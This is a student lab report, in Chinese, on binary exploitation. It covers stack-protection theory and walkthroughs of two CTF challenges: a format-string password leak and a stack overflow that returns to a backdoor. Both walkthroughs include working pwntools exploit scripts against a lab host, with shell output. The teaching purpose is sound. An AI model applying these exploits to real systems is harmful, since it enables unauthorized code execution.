WEB 实验报告

姓名：姚嫣如　　**学号**：21080012078　　**班级**：网络空间安全23

实验时间：2026-09-02　　**课程教师**：李晓慧

一、知识点简要总结

（一）PWN 与二进制漏洞

PWN 即**二进制漏洞利用**，通过分析程序存在的漏洞，改变程序原本的执行行为，实现对程序控制流程的影响。实验手册中涉及的常见漏洞包括整数溢出、格式化字符串漏洞、缓冲区溢出以及 UAF、Double-Free 等。

常见的控制流劫持方式：

- **代码注入攻击**：向程序中写入新的代码并使程序执行；
- **代码重用攻击**：利用程序本身已有的代码片段完成目标操作；
- **ROP**（Return Oriented Programming）：返回导向编程；
- **JOP**（Jump Oriented Programming）：跳转导向编程。

（二）栈与栈溢出

栈溢出是一种缓冲区溢出漏洞。当程序向栈中某个变量写入的数据超过该变量本身申请的空间时，可能覆盖栈中相邻的数据。

栈主要用于函数调用过程中保存：局部变量、函数参数、保存的旧 `rbp/ebp`、函数返回地址。

栈具有以下特点：

- 一般从**高地址向低地址**增长；
- 遵循**先进后出**原则；
- 每次函数调用都会建立对应的**栈帧 Stack Frame**。

基本结构：

```
高地址
┌──────────────────────┐
│       函数参数       │
├──────────────────────┤
│       返回地址       │
├──────────────────────┤
│    保存的旧 RBP      │
├──────────────────────┤
│       局部变量       │
└──────────────────────┘
低地址
```

👉 当局部数组发生越界写入时，就可能继续覆盖保存的 `RBP` 甚至**返回地址**，从而影响函数返回后的执行位置。

（三）函数调用与栈帧

函数调用时，调用者和被调用者会通过栈以及寄存器完成参数传递、返回地址保存和栈空间管理。

1、`call` 指令

执行函数调用时：保存下一条指令的地址，即**返回地址**；跳转到被调用函数执行。

2、函数栈帧建立

典型过程：

```
push rbp
mov rbp, rsp
sub rsp, ...
```

作用：

- 保存上一层函数的栈帧基址；
- 建立当前函数的新栈帧；
- 为局部变量分配栈空间。

3、函数返回

常见指令：`leave`、`ret`，其中：`leave` 相当于恢复当前函数调用前的栈帧；`ret` 从栈中取出**返回地址**并继续执行。

（四）调用约定 cdecl

调用约定规定了**函数参数如何传递、返回值如何传递以及栈空间由谁恢复。**

1、32 位 cdecl

- 参数通过**栈**传递；
- 参数按照**从右到左**的顺序入栈；
- 返回值通常保存在 `EAX` 中；
- 函数调用结束后由调用者恢复参数占用的栈空间。

2、64 位调用

前六个参数通常通过寄存器传递：

```
RDI → 第1个参数
RSI → 第2个参数
RDX → 第3个参数
RCX → 第4个参数
R8  → 第5个参数
R9  → 第6个参数
```

剩余参数通过栈传递，返回值通常保存在 `RAX` 中。

（五）ROP 返回导向编程

ROP，即 **Return Oriented Programming**，是一种代码重用技术。

其核心思想是：在存在栈缓冲区溢出的情况下，不直接向内存中注入新的代码，而是利用程序或动态库中已经存在的短指令片段 **Gadget**，通过控制返回地址将多个 Gadget 连接起来，形成 **ROP Chain**，最终改变程序执行流程。

1、Gadget

Gadget 通常是以 `ret` 结尾的一小段合法代码，例如：

```
pop rdi
ret
```

可以利用：`p64(pop_rdi) + p64(value)`

控制 `RDI` 寄存器中的值，从而为之后的函数调用准备参数。

2、常见 ROP 类型

- `ret2text`、`ret2shellcode`、`ret2syscall`、`ret2libc`

👉 本质上都是通过控制返回地址，使程序按照预先设计的代码路径执行。

（六）NX / DEP

NX（No-eXecute）是一种**数据执行保护机制。**

基本原理：

- 将保存数据的内存页标记为**不可执行**；
- 当程序尝试跳转到栈、堆等数据区域执行指令时，CPU 会阻止执行；
- 可以限制传统的栈溢出后直接执行 Shellcode 的利用方式。

DEP 的核心思想类似：

> 一个内存页不应同时拥有**可写权限和可执行权限。**

因此在开启 NX / DEP 后，攻击方式通常需要从单纯的代码注入转向 **ROP 等代码重用技术。**

（七）Stack Canary

Canary 是一种**栈溢出检测机制。**

函数执行时，在局部变量和重要栈数据之间插入一个特殊值，即 **Canary / Stack Cookie**；函数返回前再次检查该值是否发生变化。

基本过程：

```
进入函数
    ↓
读取 Canary
    ↓
保存到当前栈帧
    ↓
执行函数
    ↓
函数返回前重新检查 Canary
    ↓
一致 → 正常返回
不同 → 触发异常并终止程序
```

Linux x86-64 环境下，Canary 通常与线程局部存储 TLS 相关，可以通过 `fs:0x28` 获取。若检查失败，则调用类似：`__stack_chk_fail();` 终止程序。

（八）ASLR 与 PIE

1、ASLR

ASLR，即地址空间布局随机化，通过随机改变程序运行过程中部分内存区域的位置，提高固定地址利用的难度。

开启 ASLR 后通常会随机化：栈 Stack、堆 Heap、共享库 Shared Library。

2、PIE

PIE，即 **Position Independent Executable**，用于生成地址无关的可执行程序。

开启 PIE 后：程序自身的代码可以被加载到不同地址；配合 ASLR，可以进一步实现程序代码基址随机化。

- 编译示例：

```
gcc -fPIE -pie helloworld.c -o with_pie
```

- 关闭 PIE：

```
gcc -no-pie helloworld.c -o no_pie
```

（九）CET 控制流强制技术

CET（Control-flow Enforcement Technology）是一种**基于硬件的控制流保护技术**，主要用于防止控制流劫持。

主要包括：

- **Shadow Stack**：影子栈；
- **IBT**：Indirect Branch Tracking，间接分支追踪。

1、Shadow Stack

执行 `CALL` 时，处理器同时将返回地址保存到：

```
普通栈
+
影子栈
```

函数执行 `RET` 返回时，对两个返回地址进行比较：

```
普通栈返回地址 == 影子栈返回地址
              ↓
         正常返回

普通栈返回地址 != 影子栈返回地址
              ↓
触发 Control Protection Fault
```

影子栈不能被普通应用程序直接修改，因此可以检测返回地址被篡改的情况。

2、IBT

IBT 主要保护间接 `CALL` 和 `JMP`。

编译器会在合法的间接跳转目标入口加入：

```
endbr64
```

或：

```
endbr32
```

如果间接跳转的目标不是合法的 `endbr` 指令入口，CPU 可以触发异常，从而限制异常的间接控制流跳转。

二、实验思路

（一）ez_fmt

格式字符串漏洞：

- 通过IDA分析程序逻辑，确定存在格式化字符串漏洞，利用该漏洞泄露栈上数据，分别为经过十六进制存储的密码与明文密码。
- 确定偏移之后，对泄露得到的十六进制数值进行小端序转换，还原出第一个原始密码，结合直接泄露得到的第二个密码。
- 将解析得到的两组密码依次发送给远程程序，通过身份校验，获取靶机的交互式 shell。
- 在获取的靶机 shell 环境中浏览文件系统，定位根目录下的 flag 文件，读取文件内容，得到 flag，完成实验。

（二）str_check

- 分析程序保护机制，定位漏洞函数与溢出点：关注 `memcpy` 中长度参数 `n` 用户可控，且 `dest` 位于栈上，存在溢出风险。
- 绕过长度检查：利用 `strlen` 遇 `\x00` 截断的特性，使输入字符串长度满足限制，但实际数据仍可被完整拷贝。
- 确定返回地址偏移：通过调试或模式字符串确定从缓冲区到返回地址的填充长度。
- 寻找可用后门：发现程序中存在直接调用 `system("/bin/sh")` 的 `backdoor` 函数，可直接利用。
- 构造 ROP 链：在填充后覆盖返回地址为 `backdoor`，并根据栈对齐要求插入一个 `ret` gadget 保证调用 `system` 时栈对齐。
- 编写 exp 脚本：使用 pwntools 连接远程靶机，发送构造好的 payload 并控制 `n` 为 payload 长度。
- 获取 shell 并读取 flag：成功跳转后执行命令，获取系统权限并读取 flag。

三、实验过程

（一）ez_fmt

1、打开wsl，进入`ez_fmt`文件夹目录，在gdb模式下输入 `checksec` 查看文件保护信息

```
pwndbg> checksec
File:     /home/rmx08/study/ns-compractice/lab3/ez_fmt/pwn
Arch:     amd64
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
```

2、用IDA打开 `pwn` 文件，分析 `main`函数整体流程

要求第一次输入前5个字符和s2相同，第二次输入前5个字符和v4相同，可利用`printf(s)`。

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char *v4; // [rsp+8h] [rbp-88h]
  char s1[16]; // [rsp+10h] [rbp-80h] BYREF
  char s2[16]; // [rsp+20h] [rbp-70h] BYREF
  char s[88]; // [rsp+30h] [rbp-60h] BYREF
  unsigned __int64 v8; // [rsp+88h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v4 = (char *)malloc(0x20uLL);
  generate(s2, 5LL);
  generate(v4, 5LL);
  puts("Hey there, little one, what's your name?");
  fgets(s, 80, stdin);
  printf("Nice to meet you,");
  printf(s);
  puts("I buried two treasures on the stack.Can you find them?");
  fgets(s1, 8, stdin);
  if ( strncmp(s1, s2, 5uLL) )
    lose();
  puts("Yeah,another one?");
  fgets(s1, 8, stdin);
  if ( strncmp(s1, v4, 5uLL) )
    lose();
  win();
  return 0;
}
```

- 函数 `generate`：随机生成两个长度为5的只含有英文字母的字符串

  s2 → 局部变量，栈

  v4 → 动态分配内存，堆

```
unsigned __int64 __fastcall generate(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 i; // [rsp+18h] [rbp-48h]
  char v4[56]; // [rsp+20h] [rbp-40h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  strcpy(v4, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
  for ( i = 0LL; i < a2; ++i )
    *(_BYTE *)(a1 + i) = v4[(int)arc4random_uniform(52LL)];
  *(_BYTE *)(a1 + a2) = 0;
  return v5 - __readfsqword(0x28u);
}
```

3、在终端用pwndbg进行交互测试

- 添加可执行权限并运行程序

```
(base) rmx08@ISARO:~/study/ns-compractice/lab3/ez_fmt$ chmod +x ./pwn
```

```
pwndbg> run
Starting program: /home/rmx08/study/ns-compractice/lab3/ez_fmt/pwn
Download failed: Timer expired.  Continuing without separate debug info for system-su
fff7fbe000.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
Hey there, little one, what's your name?
```

- 发送 payload 探测偏移，偏移 offset = 12

```
Hey there, little one, what's your name?
AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Nice to meet you,AAAA0x7fffffffd6e0,(nil),(nil),(nil),0x11,0x100,0x555555559010,0xa80000,0xa80000,0x525
672596d,0xc000,0x252c702541414141,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70
252c70
I buried two treasures on the stack.Can you find them?
```

- 在printf处下断点

  输入 `disass main`，找到对应指令，下断点 `b *0x0000555555555485`

```
0x0000555555555480 <+160>:   mov    eax,0x0
0x0000555555555485 <+165>:   call   0x555555555130 <printf@plt>
0x000055555555548a <+170>:   lea    rax,[rip+0xbdf]        # 0x555555556070
0x0000555555555491 <+177>:   mov    rdi,rax
```

```
pwndbg> b *0x0000555555555485
Breakpoint 3 at 0x555555555485
```

- 运行程序，输入 `%12$p`，找到treasures：qpiGt & LrZwz，位于7、10

```
──────────────────────────────────────[ STACK ]──────────────────────────────────────
00:0000│ rsp 0x7fffffffd8c0 ◂— 0x100
01:0008│-088 0x7fffffffd8c8 —▸ 0x555555559010 ◂— 0x7a775a724c /* 'LrZwz' */
02:0010│-080 0x7fffffffd8d0 ◂— 0xa80000
03:0018│-078 0x7fffffffd8d8 ◂— 0xa80000
04:0020│-070 0x7fffffffd8e0 ◂— 0x7447697071 /* 'qpiGt' */
05:0028│-068 0x7fffffffd8e8 ◂— 0xc000
06:0030│ rdi 0x7fffffffd8f0 ◂— '%7$s %10$p\n'
07:0038│-058 0x7fffffffd8f8 ◂— 0xa7024 /* '$p\n' */
──────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────
```

- 编写exp脚本，远程链接靶机，转换小端序后，自动获取shell

```python
from pwn import *

io = remote("10.140.32.159", 47321)

payload = b"%10$p %7$s"
io.recvuntil(b"name?\n")
io.sendline(payload)
line = io.recvline().decode().strip()
print(f"输出结果 : {line}")

# 先分割逗号，取出后半段
after_comma = line.split(',')[1]
hex_str, pwd2 = after_comma.split()

# 小端序转换
num = int(hex_str, 16)
pwd1_raw = p64(num)
pwd1 = pwd1_raw.rstrip(b"\x00").decode()
print(f"解析密码1 = {pwd1}, 第二个密码: {pwd2}")

# 提交密码
io.recvuntil(b"them?\n")
io.sendline(pwd1.encode())
io.recvuntil(b"one?\n")
io.sendline(pwd2.encode())

print("\n成功拿到靶机shell! ")
io.interactive()

```

运行结果：

```
[+] Opening connection to 10.140.32.159 on port 47321: Done
输出结果 : Nice to meet you,0x6b6f726772 itEFA
解析密码1 = rgrok, 第二个密码: itEFA

成功拿到靶机shell!
[*] Switching to interactive mode
You got it!
$
```

- 到主目录处寻找flag文件，并输出flag

```
$ ls /
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat /flag
flag{d83afd47-e952-407d-a078-d8e7d3f97edf}
$
```

（二）str_check

1、用 IDA 打开 `pwn` 文件，分析main函数整体流程，输入字符串 `str` 和拷贝长度参数 `n`。

`strlen(str)`：只统计**到 `\0` 为止**的有效字符个数，不包含末尾空字节。

`memcpy(dest,str,n)`：**不关心 `\0`**，直接硬拷贝 n 个字节。

`strncpy(dst,src,n)`：拷贝**到 `\0` 就停止**，就算 n 很大，遇到 `\0` 就不再复制。

限制条件：`strlen(str) ≤24`，`dest` 栈缓冲区只有 24 字节，输入字符串开头为 `meow`。

👉 只要 str 长度≤24，可以输入**远大于 24 的 n**，`memcpy` 就会把 str 里的数据大量拷贝到栈上，**溢出 dest 缓冲区，覆盖 rbp、返回地址，实现栈溢出劫持。**

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char dest[24]; // [rsp+0h] [rbp-20h] BYREF
  size_t n; // [rsp+18h] [rbp-8h] BYREF

  init(argc, argv, envp);
  puts("What can u say?");
  __isoc99_scanf("%255s", str);
  puts("So,what size is it?");
  __isoc99_scanf("%zu", &n);
  len = strlen(str);
  if ( (unsigned __int64)len > 24 )
  {
    puts("Oh,too much.");
    exit(1);
  }
  if ( !strncmp(str, "meow", 4uLL) )
    memcpy(dest, str, n);
  else
    strncpy(dest, str, n);
  puts("You're right.");
  return 0;
}
```

程序自带完整后门函数：只需要**把返回地址覆盖为** `backdoor` **函数的地址**

```
1 int backdoor()
2 {
3   return system("/bin/sh");
4 }
```

2、检查程序保护

不用泄露canary；栈不可执行，只能用ROP，不能shellcode；程序基址固定，gadget、plt、got地址写死，不用泄露程序基址

```
(base) rmx08@ISARO:~/study/ns-compractice/lab3/str_check$ checksec pwn
[*] '/home/rmx08/study/ns-compractice/lab3/str_check/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
```

3、为文件添加执行权限

```
(base) rmx08@ISARO:~/study/ns-compractice/lab3/str_check$ chmod +x ./pwn
```

4、计算偏移量

- `dest` 的起始位置：`rbp - 0x20`，也就是说 dest 缓冲区开始，距离 rbp 的距离是 **0x20（十进制 32）字节。**
- `rbp` 到返回地址还要再加 8 字节：`rbp + 8` 才是返回地址。

👉 从 **dest 缓冲区起始地址** → **返回地址起始地址** 的字节距离：`0x20 + 0x8 = 0x28` → 40字节

从dest 写 24 字节 → 刚好抵达栈变量`n`

```
{
  char dest[24]; // [rsp+0h] [rbp-20h] BYREF
  size_t n; // [rsp+18h] [rbp-8h] BYREF
```

5、栈对齐

用`ROPgadget --binary ./pwn | grep "ret"` 命令 找到的一个空return指令的地址，对齐rsp

```
0x000000000040121d : pop rbp ; ret
0x000000000040101a : ret
0x000000000040105a : ret 0xffff
0x0000000000401022 : retf 0x2f
```

6、构造payload

payload = "meow" + \x00 + 填充35字节 + ret_gadget地址 + backdoor地址 → 共56字节

6、编写 exp 脚本

```
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

HOST = '10.140.32.159'
PORT = 47357
p = remote(HOST, PORT)

backdoor_addr = 0x401236
ret_gadget    = 0x40101a


payload  = b"meow"
payload += b"\x00"
payload += b"A" * 35
payload += p64(ret_gadget)
payload += p64(backdoor_addr)

p.recvuntil(b"What can u say?")
p.sendline(payload)

p.recvuntil(b"So,what size is it?")
p.sendline(str(len(payload)).encode())

p.interactive()
```

运行脚本，获取系统权限

```
[DEBUG] Received 0x14 bytes:
    b'So,what size is it?\n'
[DEBUG] Sent 0x3 bytes:
    b'56\n'
[*] Switching to interactive mode

[DEBUG] Received 0xe bytes:
    b"You're right.\n"
You're right.
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0xd bytes:
    b'pwn\n'
    b'start.sh\n'
pwn
start.sh
```

到主目录，打印flag文件，获取flag

```
$ cat /flag
[DEBUG] Sent 0xa bytes:
    b'cat /flag\n'
[DEBUG] Received 0x2b bytes:
    b'flag{a50d3d4d-13eb-4e7d-9442-c43c7bab6d2b}\n'
flag{a50d3d4d-13eb-4e7d-9442-c43c7bab6d2b}
```

四、实验结果

